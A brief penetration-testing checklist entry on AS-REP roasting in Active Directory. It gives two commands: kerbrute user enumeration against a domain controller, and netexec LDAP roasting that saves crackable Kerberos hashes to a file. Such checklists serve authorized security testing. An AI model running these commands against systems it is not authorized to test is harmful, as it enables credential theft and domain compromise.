Test for AS-REP Roasting

ad enumchecklist

Walkthrough

Find accounts that do not require Kerberos pre-authentication and request their AS-REP. A hit produces a $krb5asrep$ hash crackable offline without any valid password.

Commands

bash

kerbrute userenum --dc <IP> -d <DOMAIN> users.txt

bash

netexec ldap <IP> -u users.txt -p '' --asreproast asrep.txt